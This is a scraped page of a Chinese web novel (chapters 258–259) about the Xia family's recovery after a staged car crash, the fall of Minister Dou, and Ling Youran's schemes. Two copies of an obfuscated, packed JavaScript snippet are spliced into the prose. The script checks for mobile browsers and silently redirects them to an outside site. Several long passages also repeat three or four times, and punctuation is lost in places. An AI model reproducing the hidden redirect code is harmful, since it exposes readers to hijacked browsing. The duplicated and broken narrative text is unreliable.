“不怪你!你跟灼灼一样,遇到事,只知道找自己的问题。” “但你们哪有那么多的问题?” “阿行,我不怪你,灼灼也不会怪你。你千万不要自责。” “别人要害你们,难道你们什么都能算到?你们也是人,总有算漏的时候。” “冤有头债有主,咱们的当务之急,是把这件事闹大,最好能把窦部长也拉下水。” 司慎行心头稍宽。 夏太太不怪他,这对他来说,是莫大的安慰。 他开口道:“您说的对,我们不能等了,我现在就去办。” 夏太太点头。 “麻烦你了,这边有我在,你放心去吧。怀征,你也一块去。” “好。” 两人很快离开了医院,为接下来要做的事情铺路。 不多时,网上突然蹿上来一条条热搜。 “沪城前任首富出狱当天遭遇车祸,疑似人为。” 紧接着,又有一条热搜,说明夏云海被带走调查,纯属冤枉。 风向刻意引导,夏云海是挡了某些人的路,才遭此横祸。 “夏家到底得罪了谁?我记得夏氏集团的董事长一直很爱做慈善,当初他被带走调查,我就觉得不对劲。” “夏董事长这件事我记得,之前说是**前任沪城一把手,后来一把手**,他也被带走调查。现在证明他无辜,岂不是前任的那位一把手也是被冤枉的?” “前任那位,站的是党家吧?那这么说,夏云海得罪的,是窦家?” “看来他的确是站错边了,真是可怜啊。” “首富都能被冤枉进看守所,咱们普通人要是得罪了不该得罪的人,岂不是**的都不知道?” **,对窦部长极其不利。 司慎行听从了夏太太的意思,从始至终,新闻里都不曾出现凌家的名字。 因为凌家只是一个 小角色。 如果可以通过这件事拉窦部长下马,他们的获利才更大。 如果成功不了,窦部长自己也不会放过凌家。 所以只要把事情闹大,牵扯窦部长进来,司慎行这边,根本不需要对凌家动手。 窦部长自然会对付凌悠然。 …… 而另一边,夏灼灼终于结束了长达六个多小时的手术。 这是她做过最久的手术。 手术结束的时候,夏灼灼直接因为体力不支,晕倒了过去。 好在,手术一切顺利。 副手医生替夏灼灼跟夏太太说明情况。 “各位可以放心了,夏先生已经脱离危险。只是他做了开颅手术,起码要三天到一周之内才会清醒。现在他已经转入ICU观察了,等到清醒之后,就可以转到普通病房。在这期间,几位暂时不能去探望他。” 夏太太的眼泪,再次流了出来。 只是这一次,是高兴的眼泪。 “太好了……爸没事!” 夏家其他几个兄弟也激动地抱成一团。 秋雨扶着夏太太道:“阿姨,我就知道,叔叔吉人自有天相,绝对不会有事的。他也不舍得丢下您走。” 夏太太激动地说不出话,只是用力点头。 只是夏太太很快想到了夏灼灼。 “灼灼呢?她也跟去ICU了吗?” 不然怎么会让其他人出来传话? 副手没有说原因。 因为夏灼灼在晕倒之前,支撑着最后一丝力气对他说,不要告诉她家里人。 夏太太容易受情绪影响,所以她不想叫她担心。 ——而在晕倒之前,她就预感自己可能低血糖了。 所以她快速吩咐完这句话。 副手答应了,便照她说的做。 现在夏灼灼已经被安排到了病房里,挂点滴。 他对夏太太说道:“院长找夏神医,估计一会儿就会过来。几位可以去ICU那边看看,虽然不能进去,但是能通过玻璃窗看到里面的情况。” 几人纷纷点头。 院长一直热情招待他们,夏灼灼应该是去道谢了。 夏太太想着,改天等夏云海醒过来,他们一家再请院长吃顿饭。 一群人往ICU走了。 唯独夏六留了下来。 等众人走远,他一把拉住要回手术室的副手。 “我妹妹到底去哪了?” “……” “你别骗我,我是做设计的,做设计的人最擅长观察,你说话的时候,微表情很奇怪,你骗不了我。” 副手搬出了院长,没人不信。 但夏怀瑾从他的表情上,看出了一丝不对劲。 如他所说,他很擅长观察。 副手见瞒不住,只好如实说。 反正夏神医担心的是她的母亲。 夏怀瑾听了,眼眶立刻红了。 他的妹姐,简直是世界上最好的人了。 自己晕倒之前,还记挂家里人。 “她在哪个病房?”话问出口,竟然有些哽咽。 男儿有泪不轻弹。 夏云海出事的时候他强忍着没哭,现在反而掉出了一颗泪,彻底忍不住了。 “就在楼下,第一间病房。” 夏怀瑾立刻去了。 只是来到病房门口,就看到夏灼灼的病床边坐着一个高大的男人。 正是司慎行。 他坐在床边,牢牢握住夏灼灼的手。 夏灼灼已经醒了,低血糖而已,不会晕太久。 两个人不知道在说些什么,夏灼灼脸上露出了笑容。 夏六见状,默默退开。 妹姐身边有照顾他的人了,他就不用担心了。 而且他不能消失太久,免得妈担心。 他快速去了ICU,对夏太太,就说自己去了趟卫生间。 …… 病房里。 司慎行握着夏灼灼的手,把网上现在的情况跟她说了一遍,又说,这是夏太太的意思。 她已经跟党帅那边通过电话,这件事的脏水,会泼到窦部长身上。 夏灼灼听完,意料之外,又觉得是情理之中。 “我妈看似柔弱,其实是个很有主意的人。我还以为会打击到她,没想到,她比想象中要坚强很多。” “是,她很有智慧。你继承了她的优点。” 夏灼灼莞尔笑起来。 夏六当时看到夏灼灼微笑,正是因为他们在聊夏太太。 聊起夏太太的时候,夏灼灼的眼神总是格外柔软。 她很喜欢夏太太。 虽然她不是从小在夏太太身边长大,但经过这几个月,她对夏太太的感情已经非常深厚了。 “她对我太好,我有时候甚至不知道该怎么报答她。很快就是她生日了,我不知道要送她什么。” “她是你母亲,你用不着特意做什么,经常陪在她身边,对她来说就是最大的 幸福。” “话虽然是这么说,但……” 司慎行突然说:“不过,我有个关于伯母的事情可以告诉你。” “什么?” “伯母当初嫁给伯父,宁家并不同意,因此,家里跟她断绝了往来。好在你爸爸争气,宁家这才偶尔会送点礼物来夏家,但也仅仅只是送点礼物,不曾同意见你母亲。但我想,伯母应该还是想跟家里重修旧好的。” 夏灼灼默默把这件事记在了心上。 一小瓶点滴很快挂完,夏灼灼在司慎行的搀扶下起身,去找夏太太他们了。 她见他们之前,还特意上了个口红,让自己的气色看起来好一些。 但夏太太还是一眼就瞧出她的虚弱。 “是不是累到了?” “我还好。” “什么还好,那么久的手术,我们在外头等着都等累了,何况是你?快,回家里休息。” 夏灼灼答应了。 一家人一齐回家。 不过夏六留了下来。 他比较机灵,夏云海这边如果有什么事,他可以应对。 而且,他最近很闲,正好有点事做。 司慎行也留了一批人,陪夏六一起时刻守着ICU,一是以防万一凌家还有后手,二是防止人来打探消息。 夏云海的生死,暂时不对外公布,这能让**继续发酵。 这边一切安排稳妥,一行人才放心回家。 而另一边,网上的动静,成功吸引了窦派人的注意。 他们把消息报告给窦部长,说夏云海车祸住院,不知生死,网上有**猜测,这是窦部长的手笔。 窦部长还沉浸在丧子之痛中。 现在他已经不抱着小儿子的骨灰了,因为小儿子前两天已经下葬。 风光大葬。 哪怕之前的风水先生说过,窦家今年不宜办葬礼,可他还是办了。 只是窦斯齐的葬礼,他仍然没有办,仿佛已经忘了有过这个儿子了。 他抱着小儿子小时候的相册,神情恹恹,问:“夏云海,哪个夏云海?” 手下一愣。 他知道窦部长最近状态不好,却没想到连夏云海是谁都不记得了。 不过仔细想想,窦部长不记得也正常。 当初他们陷害夏云海入狱,一是为了扳倒沪城前任一把手陈市,二是打压党派——夏家,是党家的资金库。 而这件事,全程都是窦斯齐在做,窦部长不过是吩咐了几句。 他不记得夏云海是谁,也正常。 幸福。” “话虽然是这么说,但……” 司慎行突然说:“不过,我有个关于伯母的事情可以告诉你。” “什么?” “伯母当初嫁给伯父,宁家并不同意,因此,家里跟她断绝了往来。好在你爸爸争气,宁家这才偶尔会送点礼物来夏家,但也仅仅只是送点礼物,不曾同意见你母亲。但我想,伯母应该还是想跟家里重修旧好的。” 夏灼灼默默把这件事记在了心上。 一小瓶点滴很快挂完,夏灼灼在司慎行的搀扶下起身,去找夏太太他们了。 她见他们之前,还特意上了个口红,让自己的气色看起来好一些。 但夏太太还是一眼就瞧出她的虚弱。 “是不是累到了?” “我还好。” “什么还好,那么久的手术,我们在外头等着都等累了,何况是你?快,回家里休息。” 夏灼灼答应了。 一家人一齐回家。 不过夏六留了下来。 他比较机灵,夏云海这边如果有什么事,他可以应对。 而且,他最近很闲,正好有点事做。 司慎行也留了一批人,陪夏六一起时刻守着ICU,一是以防万一凌家还有后手,二是防止人来打探消息。 夏云海的生死,暂时不对外公布,这能让**继续发酵。 这边一切安排稳妥,一行人才放心回家。 而另一边,网上的动静,成功吸引了窦派人的注意。 他们把消息报告给窦部长,说夏云海车祸住院,不知生死,网上有**猜测,这是窦部长的手笔。 窦部长还沉浸在丧子之痛中。 现在他已经不抱着小儿子的骨灰了,因为小儿子前两天已经下葬。 风光大葬。 哪怕之前的风水先生说过,窦家今年不宜办葬礼,可他还是办了。 只是窦斯齐的葬礼,他仍然没有办,仿佛已经忘了有过这个儿子了。 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幸福。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539429|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话虽然是这么说,但……” 司慎行突然说:“不过,我有个关于伯母的事情可以告诉你。” “什么?” “伯母当初嫁给伯父,宁家并不同意,因此,家里跟她断绝了往来。好在你爸爸争气,宁家这才偶尔会送点礼物来夏家,但也仅仅只是送点礼物,不曾同意见你母亲。但我想,伯母应该还是想跟家里重修旧好的。” 夏灼灼默默把这件事记在了心上。 一小瓶点滴很快挂完,夏灼灼在司慎行的搀扶下起身,去找夏太太他们了。 她见他们之前,还特意上了个口红,让自己的气色看起来好一些。 但夏太太还是一眼就瞧出她的虚弱。 “是不是累到了?” “我还好。” “什么还好,那么久的手术,我们在外头等着都等累了,何况是你?快,回家里休息。” 夏灼灼答应了。 一家人一齐回家。 不过夏六留了下来。 他比较机灵,夏云海这边如果有什么事,他可以应对。 而且,他最近很闲,正好有点事做。 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不过仔细想想,窦部长不记得也正常。 当初他们陷害夏云海入狱,一是为了扳倒沪城前任一把手陈市,二是打压党派——夏家,是党家的资金库。 而这件事,全程都是窦斯齐在做,窦部长不过是吩咐了几句。 他不记得夏云海是谁,也正常。 第258章 去自首 手下忙跟窦部长说明夏云海的身份。 窦部长却没耐心听,直接挥了挥手。 “拿酒来!不要跟我说这些乱七八糟的小事!这点事情你们都处理不了,我要你们有什么用? 手下再次狠狠愣了愣。 窦部长竟然不管事到这个地步了…… 就连他这个心腹,心里都生出了不满。 他姓钱,叫钱作梁,也在京都担任要职。 孙峥跃和白季勇接连“倒下之后,窦部长手下的大员只有他了。 但他什么都没说,给窦部长把酒柜上的酒拿过来之后就悄然退下了。 “钱哥,怎么办?窦部长不管事……旁边的人低声问他。 钱作梁叹了口气,说:“部长痛失爱子,萧条一阵也正常。 “那咱们现在怎么办? “先搞清楚是什么人在背后推波助澜,把事情闹大的。另外,再去查车祸原因。 窦家和他都没做这件事。 这个节骨眼,他们不会对夏云海出手。 但不保证有一些蠢货。 如果真是自己人,那只能叫那人出来自己去顶罪。 但如果是诬陷,正好可以反将一军,把污水泼到党家去。 就说,是党家刻意引导**。 “但愿不是我们自己人做的蠢事。 回家后,钱作梁给白季勇打了电话。 白季勇已经辞职,他计划跟白太太一起住到老家去。 他就这么一个女儿,没了女儿,他一下子失去人生奋斗的目标了。 他对白知芙很严格,但这不代表他不爱她。 当然,也不一定是爱白知芙这个人,单纯是爱自己唯一的血脉罢了。 ——走那么远,坐那么高,为的是什么? 还不是福泽后代? 可现在,不止白知芙没了,侄子白念城也成了废人,他们白家人丁不旺,再旁支一些,他又不想费功夫,为他人做嫁衣。 加上窦派的人日渐式微,他不想折腾了,所以直接辞职,抛弃了现在拥有的一切。 接到钱作梁的电话,白季勇并不意外。 他甚至猜到了,钱作梁为什么打电话过来。 所以不等钱作梁开口,白季勇率先说道:“我知道你要说什么,不用多费口舌了。 “…… “还有,我也劝你一句,窦家今时不同往日,你也早点为自己做打算吧。别到最后,落得我这个下场。 ” 钱作梁很震惊。 “季勇你是被鬼上身了吗?怎么一点士气都没有?是因为小芙?你跟你太太还年轻 “不用我心意已决。” 又说:“不是我消极我只是看清了而已。我想你应该也看出来了窦部长没有大少爷就是秋后的蚂蚱你跟着他又能得到什么?” 钱作梁很生气。 “你自己放弃了还要拉着我一起放弃背叛窦部长?” “我们两个现在是话不投机半句多不必多讲了。你好自为之吧以后不要再找我我不会继续帮窦部长做事但也不会害他你放心就当没我这个人就行了。” 说完他直接挂断了电话。 钱作梁更恼火了。 可白季勇的话又的的确确在他心里种下了一根刺。 窦部长现在的情况的确有点像秋后的蚂蚱。 窦部长都如此他又能蹦跶得了多久? 钱作梁一颗一心向着窦部长的心微微动摇了。 眨眼过了一周。 夏云海在前两天清醒过来今天正式转到普通病房了。 不仅转了病房还转了医院。 这是一家新开的私人医院是司慎行投资开的保密性和安全性都很好。 夏家人全都围在夏云海旁边。 夏云海已经能坐起来了。 他说的第一句话是:“老婆我要吃你做的海参粥。” 夏灼灼等人对夏太太的海参粥真是喝怕了但夏云海喝了这么多年一次都没觉得腻。 夏太太擦了擦眼泪说:“好我下午做了带过来。” “那还是算了你还是留在我旁边陪着我吧。” 夏太太笑了。 两人感情一如既往地好夏灼灼看了很羡慕。 司慎行事后说:“我会比夏伯父爱伯母一样更爱你。” 夏灼灼脸颊微红。 她已经想好了无论以后他们会变成什么样珍惜当下。 不为以后患得患失这一刻他们是真心相爱的。 …… 而京都那边钱作梁已经查清楚了车祸事件的原委。 “这个蠢女人竟然为了一点小情小爱做出这么愚蠢的事情!她没成功没做好善后就算了还连累部长!” 钱作梁怒不可遏。 他 最怕的就是事情是自己人做的,这样他就无法将污水泼到党家身上——对方敢散播消息,必然有实质性证据。 而他们,空口无凭去污蔑党家,反而惹一身骚,更不利于窦派。 “我早就说了,女人都不能成大事。凌家也是蠢,竟然让一个女人出来理事!” 话里话外,都是对凌悠然的不满。 手下等钱作梁发泄了一番才问:“那我们现在怎么办?” “这件事既然是凌悠然做的,那就让她自己去背锅。该罚就罚,该判就判,把部长摘出来才是最要紧的。” “是。” 钱作梁这边的人很快联系上凌家。 凌父得知后,十分震惊。 “钱哥,悠然不会做这么蠢的事情的……能否给我点时间,我问问她。” “用不着问了,铁证如山。三天之内,让她自己去自首。” 钱作梁根本不给凌父拒绝的机会。 这态度让凌父后背发凉。 因为他知道,事情应该八成是真的了。 他快速找到凌悠然的院子。 凌悠然这两天心情很好,原因有两个。 一是因为自己对夏云海做的事情,有人替她背了黑锅,没人怀疑到她身上。 二是因为司董事长已经信任了她带过去的女神医,打算年前把手术做了。 手术一旦成功,她就可以成为司少奶奶。 司慎行答不答应不重要,老爷子答应就足够了。 日久生情,司慎行总会喜欢她的。 再说了,她是喜欢司慎行没错,但比起司慎行这个人,她更想要的是S集团的权势。 如果得不到他的爱,得到权势,壮大凌家也行。 她叫来女神医细细叮嘱。 “手术当天,你一定要小心再小心,一定要治好司董。治好了,你以后有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549060|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是前途。” “女神医”保证道:“我的医术,您就放心吧。不过在这之前,我得收一部分定金,免得到时候您得势了,不需要我了,就一脚把我踢开。” 女人眼底的贪婪,让凌悠然微微不悦。 可想到自己很需要她,她还是把不爽压了下去。 “你要多少定金?” “一个亿。” 凌悠然眉头紧蹙。 “太多了。” “我的医术值这个价,您的前途和司董事长的命,也值这个价。您要是不给,那么恕我得告辞了。” “女神医”作势要走。 凌悠然一咬牙,拉住她。 “行!一个亿!不过我得需要一点时间。” 反正手术成功后,她不打算支付之后的钱。 她会找人,悄悄把这女神医做掉,再把这一个亿拿回来。 这是无本的买卖。 只是现在急需套现,甚至得卖掉她的一部分股份。 女神医点头:“当然可以,手术前筹齐就行了。” “你去吧!好好准备手术方案。” “好的,您放宽心。” 女神医走了。 去了凌悠然为她安排的院子后,脸上露出一抹得逞的笑。 她混道上的哥哥果然没骗她。 只要冒名顶替,就能赚到一大笔钱。 等到拿到钱,她就悄悄溜走。 一个亿在手,她还愁没地方去吗? 出了国,凌悠然去哪儿找她? 两人各自打着自己的如意算盘,相互算计。 而凌悠然那边,刚送走女神医之后,她正准备计算自己手上的现金,凌父来了。 他没敲门,是直接踢开凌悠然的书房房门的。 “咚——” 巨大一阵动静,狠狠吓了凌悠然一跳。 当看清来人后,凌悠然稍稍松了一口气,随即有些不悦地开口:“爸,你进来怎么不敲门?” 她早就悄悄放出消息,所以凌家人现在都知道,她很快就要嫁给司慎行了。 故而,她连自己的父亲都不放在眼里。 谁曾想,凌父走上前,抬手就是一巴掌。 清脆的耳光声响彻书房。 凌悠然的脸被打得偏了过去。 她吃痛地捂住脸,脸上满是愤怒。 “你疯了?!” 凌父抬起手,又是一记耳光。 这一次打的更重,凌悠然直接耳鸣了。 耳朵嗡嗡的,却勉强还能听到凌父的话。 “我看你才疯了!你惹谁不好,惹窦家?!” 凌悠然的耳朵好几秒才恢复。 她错愕望着凌父。 “你从哪里听来的闲话?我什么时候惹窦家了?” “你还说没有?你是不是派人去杀夏云海,然后把锅甩到了窦部长身上?” 凌悠然狠狠一愣。 “谁、谁跟你说?” “钱作梁!他限你三天之内,自己去自首!” 凌悠然懵了,冷汗直下。 钱作梁是窦部长的人。 那这么说,窦家已经查到了自己身上? 怎么会…… 她明明用那个司机女儿的命,威胁了司机的。 他不敢背叛自己的! 第259章 枕边人 可事实如此,人家就是查到了她的头上! 那司机已然背叛了她! 凌悠然额头冷汗淋淋。 凌父看到女儿这个样子,心里还有什么不清楚的? 他刚才虽然打了她两个巴掌,但内心也希望,这件事是个误会。 却没想到,竟是真的! “你糊涂了吗?!你要杀夏云海,杀就杀了,何必把脏水往窦家人身上泼?你以为窦家是吃素的吗?窦家现在是不如几个月前了,可瘦死的骆驼也比马大!你自己想想,什么时候去自首吧!这事儿,我帮不了你。” 凌父说完,直接就走了。 他并不喜这个女儿。 太自作聪明,目中无人。 有时候甚至把他这个亲爹都不放在眼里。 现在她惹了事,只要不连累他,别说去自首,**都行。 反正他还有个儿子。 虽然平庸了一点,但他努努力,也能把凌悠然这些年打下来的根基交到自己儿子手里。 凌悠然站在原地,心跳飞快。 她怎么都没想到,窦家会查到她身上。 那个司机……他不想管自己女儿的死活了吗? 凌悠然摁住胸口,勉强让自己稍稍平静下来。 而后,她拨通了一家医院的电话。 却被告知,她安排在那里的病人被人接走了。 凌悠然怒从心起。 “为什么不跟我说!我不是说了,没有我的允许,任何人不能带走她吗?” 那人吓了一跳,连忙说:“对方说是您派来的,还当着我的面,打了您的电话,我听到是您的声音,就……难道电话里的人不是您吗?” “当然不是我!” 凌悠然气得手都在发抖。 电话里的人,当然不是她! 对方一定做了**,有预谋地把人接走。 怪不得那个司机背叛了她。 “凌小姐,我……” 电话那头的人说了什么,凌悠然已经全然听不到了。 她直接挂断了电话,心乱如麻地在房间里转圈。 怎么办? 她好不容易安排好了一切,难不成就要在这里结束吗? 不!她绝不允许! 凌悠然死死攥紧手心。 一个小时后,凌悠然去了趟司家老宅,见了司董事长。 又一个小时,钱作梁打电话给凌父,说明一切都是误会,让他不要计较他的唐突。 凌父说当然 不计较。 心里却泛嘀咕。 怎么回事? 他去找凌悠然打听,凌悠然却不见他。 保镖把凌父挡在门口,凌父怒不可遏。 “你眼里,还有我这个当爹的吗?!” 凌悠然在二楼骤然推开窗户。 “您眼里,难道就有我这个女儿?” 凌父一噎,黑着脸走了。 又过两天,网上关于夏云海车祸的词条全部都被下了。 网上查无此事。 又有一个影帝被爆出来出轨,网友们议论纷纷,很快将这件事抛之脑后。 司慎行和夏灼灼也不恼,也没有继续推送夏云海的热搜。 他们本意也不是借这件事将窦部长置之于死地。 当然,如果能成功最好,不能成功,也在意料之中。 他们只需要让这件事在大众心里留下一个影子,这就够了。 影子到关键时刻,能发挥巨大作用。 又过去十天,夏云海出院了。 这天是一月十五号,距离华夏春节没有多少天了。 家里重新又进行了一番大扫除,迎接夏云海回来。 只是这次回来,谁都没有声张,悄悄地把夏云海接回家。 对外,还是说夏云海还在住院。 一家人齐聚在一起吃饭。 司慎行也在。 晚餐吃得很热闹。 晚上,夏灼灼接到了杜馨月的电话。 “还适应吗?”夏灼灼问。 杜馨月道:“还行,都是饭吃不惯。我让家里给我送一个厨师过来,估计明天能到。” 夏灼灼问她:“你见过我四哥了吗?” 杜馨月道:“见过了,他挺好的,很照顾我。我刚到机场那天没找到来接我的人,还被一个本地人纠缠,是他找到我,还把那人打了一顿。” “……” 夏灼灼完全不知道这事。 只听杜馨月很激动地说:“看不出来,你四哥看着细长一条,力气那么大。” “……” 她不知道杜馨月这算不算是夸奖。 “不过,你四哥长得跟你三哥简直一模一样,我差点以为他就是夏怀乐了。就是黑一点。” “他应该是被晒黑的。” 至于原本肤色怎么样,夏灼灼也不清楚。 她还没亲眼见过四哥本人。 都是在视频里见面的。 视频有时候的光看起来人也不算 黑。 “好了,我去吃午饭了,我们这边还是中午。” 因为时差的关系,杜馨月那边还是大中午。 “好,我准备洗漱睡觉了。” 挂断电话,夏灼灼突发奇想,杜馨月跟她四哥会不会擦出一点火花? 杜馨月如果进门,家里肯定会更热闹。 不过她很快摁住了这个念头。 缘分这东西,强求不得,她想再多,还得看他们自己两个人。 …… 这一天,夏怀乐杀青。 这是他第一次当男主角,还是这么大的制作。 剧组办了杀青宴,蚊子也来了。 他来,是表明一个态度,夏怀乐是他看重的人。 他一来,电影后期制作的人更不敢马虎。 夏怀乐向蚊子敬酒。 “多谢您的信任和栽培,我一定不辜负您的期望。” 蚊子笑了下,笑容颇有些意味深长。 临走前,蚊子对夏怀乐说:“你要感谢的人,不是我。” 夏怀乐愣了愣。 “那是?” “远在天边近在眼前,你自己好好想想吧。” 蚊子一拍他的肩,上车走了。 夏怀乐更懵了。 直到他回到家,看到夏灼灼微笑着抱着一束花朝他走过来,向他道喜。 “三哥,祝贺你,第一部电影杀青,以后未来可期。” 夏怀乐接过花,终于是忍不住问出口。 “小七,那位尚董……你认识他吗?” 蚊子本名尚杰决。 夏灼灼弯唇一笑。 “他是我的人。” “……”夏怀乐心下大惊,一时间震惊到不知道该说什么了。 “三哥,你只管好好磨炼演技,其他的一切都交给我。” 夏怀乐喉头滚动,眼眶有些酸涩。 “我竟然没想过……我早该想到的。” 炎享娱乐好好的,为什么要挖他这个三十八线的艺人? 非但挖了过去,还重金培养。 几乎是用钱把他的人气砸出来了。 然后又找了个很大的制作班底,拿出最好的剧本让他演,还给他搭配实力和热度并存的一线女演员。 原来都是小七在背后帮他。 “小七,我、我真不知道该说什么。” “你什么都不用说。三哥,你本该在大荧幕里闪闪发光。” 夏怀乐有这个实力在,如果不是司 享娱乐一直压着他,他早就出头了。 夏灼灼不过是给了他一个机会。 “而且,你也在帮我赚钱呀,你火了,我这笔投资就不亏,你说呢?” 夏怀乐郑重点头。 从这一刻开始,小七在他心里,已经是偶像了。 他要牢牢抓住现在的机会,绝对不让小七砸在他身上的钱打了水漂。 转眼距离春节只有十天了。 沪城街上的人反而变少了很多,很多来沪城工作的人,纷纷返乡,以至于偌大的城市反而显得很是寂寥。 夏灼灼跟秋雨一起逛百货公司,为自己选新年的衣服。 秋雨是本命年,过了年她就24了。 秋家送来十套新衣,秋雨都不是很喜欢,故而夏灼灼陪她来百货大楼挑选。 红色的衣服好看的不多,两人挑了半天,都没有特别喜欢的。 于是第二天又出来逛街。 衣服依旧没挑到喜欢的,不过倒是等来一个好消息。 无限立方大楼**案有了下一步进展。 被夏灼灼的人抓到的那几个闻衢朝的手下经过两个月时间终于松口,他们承认,幕后主谋是已经死去的窦斯齐。 夏云海车祸案没能把窦部长拉下水,窦斯齐这事,窦部长却不能幸免。 毕竟窦斯齐是他的亲儿子,又是他平时的话事人。 窦斯齐就代表着窦部长。 夏云海车祸案再次被翻出来,之前只是暗指跟窦部长有关,这次新闻已经直接明示了。 又有人举报,说他诬陷沪城前任一把手陈市。 陈市的案子在这天成功翻供。 被证实多起**事件都是窦部长在背后搅动风云,为的是捧窦部长自己的人上位。 又在这时,一个窦部长意料之外的人站出来出卖了他,把他这些年做的腌臜事,全都搜罗出证据,去纪委揭发了他。 这人不是钱作梁,而是窦部长的第二任太太。 上头爆发出雷霆之怒,直接将窦部长革职查办。 由最上头直接指派人,专职查他。 窦部长被枕边人出卖,自然经不起查。 窦系一派,倒戈的倒戈,被连累的被连累,而党家的帮手日益增多。 除了沪城这边,季家也站在了党帅这边。 窦家彻底没了跟党家的抗衡之力。 窦部长彻底落网的那天,距离过年只有三天了。 夏灼灼也没有挑到什么喜欢的过年衣服,但心情却因为窦家的事情非常好。 这事儿,可比新年衣服重要多了。 夏灼灼找司慎行吃饭。 地点依旧选在四季阁。 这都快成她第二个家了。 一进包厢,她迫不及待问司慎行:“窦太太怎么回事?为什么会举报窦部长?” 享娱乐一直压着他,他早就出头了。 夏灼灼不过是给了他一个机会。 “而且,你也在帮我赚钱呀,你火了,我这笔投资就不亏,你说呢?” 夏怀乐郑重点头。 从这一刻开始,小七在他心里,已经是偶像了。 他要牢牢抓住现在的机会,绝对不让小七砸在他身上的钱打了水漂。 转眼距离春节只有十天了。 沪城街上的人反而变少了很多,很多来沪城工作的人,纷纷返乡,以至于偌大的城市反而显得很是寂寥。 夏灼灼跟秋雨一起逛百货公司,为自己选新年的衣服。 秋雨是本命年,过了年她就24了。 秋家送来十套新衣,秋雨都不是很喜欢,故而夏灼灼陪她来百货大楼挑选。 红色的衣服好看的不多,两人挑了半天,都没有特别喜欢的。 于是第二天又出来逛街。 衣服依旧没挑到喜欢的,不过倒是等来一个好消息。 无限立方大楼**案有了下一步进展。 被夏灼灼的人抓到的那几个闻衢朝的手下经过两个月时间终于松口,他们承认,幕后主谋是已经死去的窦斯齐。 夏云海车祸案没能把窦部长拉下水,窦斯齐这事,窦部长却不能幸免。 毕竟窦斯齐是他的亲儿子,又是他平时的话事人。 窦斯齐就代表着窦部长。 夏云海车祸案再次被翻出来,之前只是暗指跟窦部长有关,这次新闻已经直接明示了。 又有人举报,说他诬陷沪城前任一把手陈市。 陈市的案子在这天成功翻供。 被证实多起**事件都是窦部长在背后搅动风云,为的是捧窦部长自己的人上位。 又在这时,一个窦部长意料之外的人站出来出卖了他,把他这些年做的腌臜事,全都搜罗出证据,去纪委揭发了他。 这人不是钱作梁,而是窦部长的第二任太太。 上头爆发出雷霆之怒,直接将窦部长革职查办。 由最上头直接指派人,专职查他。 窦部长被枕边人出卖,自然经不起查。 窦系一派,倒戈的倒戈,被连累的被连累,而党家的帮手日益增多。 除了沪城这边,季家也站在了党帅这边。 窦家彻底没了跟党家的抗衡之力。 窦部长彻底落网的那天,距离过年只有三天了。 夏灼灼也没有挑到什么喜欢的过年衣服,但心情却因为窦家的事情非常好。 这事儿,可比新年衣服重要多了。 夏灼灼找司慎行吃饭。 地点依旧选在四季阁。 这都快成她第二个家了。 一进包厢,她迫不及待问司慎行:“窦太太怎么回事?为什么会举报窦部长?” 享娱乐一直压着他,他早就出头了。 夏灼灼不过是给了他一个机会。 “而且,你也在帮我赚钱呀,你火了,我这笔投资就不亏,你说呢?” 夏怀乐郑重点头。 从这一刻开始,小七在他心里,已经是偶像了。 他要牢牢抓住现在的机会,绝对不让小七砸在他身上的钱打了水漂。 转眼距离春节只有十天了。 沪城街上的人反而变少了很多,很多来沪城工作的人,纷纷返乡,以至于偌大的城市反而显得很是寂寥。 夏灼灼跟秋雨一起逛百货公司,为自己选新年的衣服。 秋雨是本命年,过了年她就24了。 秋家送来十套新衣,秋雨都不是很喜欢,故而夏灼灼陪她来百货大楼挑选。 红色的衣服好看的不多,两人挑了半天,都没有特别喜欢的。 于是第二天又出来逛街。 衣服依旧没挑到喜欢的,不过倒是等来一个好消息。 无限立方大楼**案有了下一步进展。 被夏灼灼的人抓到的那几个闻衢朝的手下经过两个月时间终于松口,他们承认,幕后主谋是已经死去的窦斯齐。 夏云海车祸案没能把窦部长拉下水,窦斯齐这事,窦部长却不能幸免。 毕竟窦斯齐是他的亲儿子,又是他平时的话事人。 窦斯齐就代表着窦部长。 夏云海车祸案再次被翻出来,之前只是暗指跟窦部长有关,这次新闻已经直接明示了。 又有人举报,说他诬陷沪城前任一把手陈市。 陈市的案子在这天成功翻供。 被证实多起**事件都是窦部长在背后搅动风云,为的是捧窦部长自己的人上位。 又在这时,一个窦部长意料之外的人站出来出卖了他,把他这些年做的腌臜事,全都搜罗出证据,去纪委揭发了他。 这人不是钱作梁,而是窦部长的第二任太太。 上头爆发出雷霆之怒,直接将窦部长革职查办。 由最上头直接指派人,专职查他。 窦部长被枕边人出卖,自然经不起查。 窦系一派,倒戈的倒戈,被连累的被连累,而党家的帮手日益增多。 除了沪城这边,季家也站在了党帅这边。 窦家彻底没了跟党家的抗衡之力。 窦部长彻底落网的那天,距离过年只有三天了。 夏灼灼也没有挑到什么喜欢的过年衣服,但心情却因为窦家的事情非常好。 这事儿,可比新年衣服重要多了。 夏灼灼找司慎行吃饭。 地点依旧选在四季阁。 这都快成她第二个家了。 一进包厢,她迫不及待问司慎行:“窦太太怎么回事?为什么会举报窦部长?” 享娱乐一直压着他,他早就出头了。 夏灼灼不过是给了他一个机会。 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毕竟窦斯齐是他的亲儿子,又是他平时的话事人。 窦斯齐就代表着窦部长。 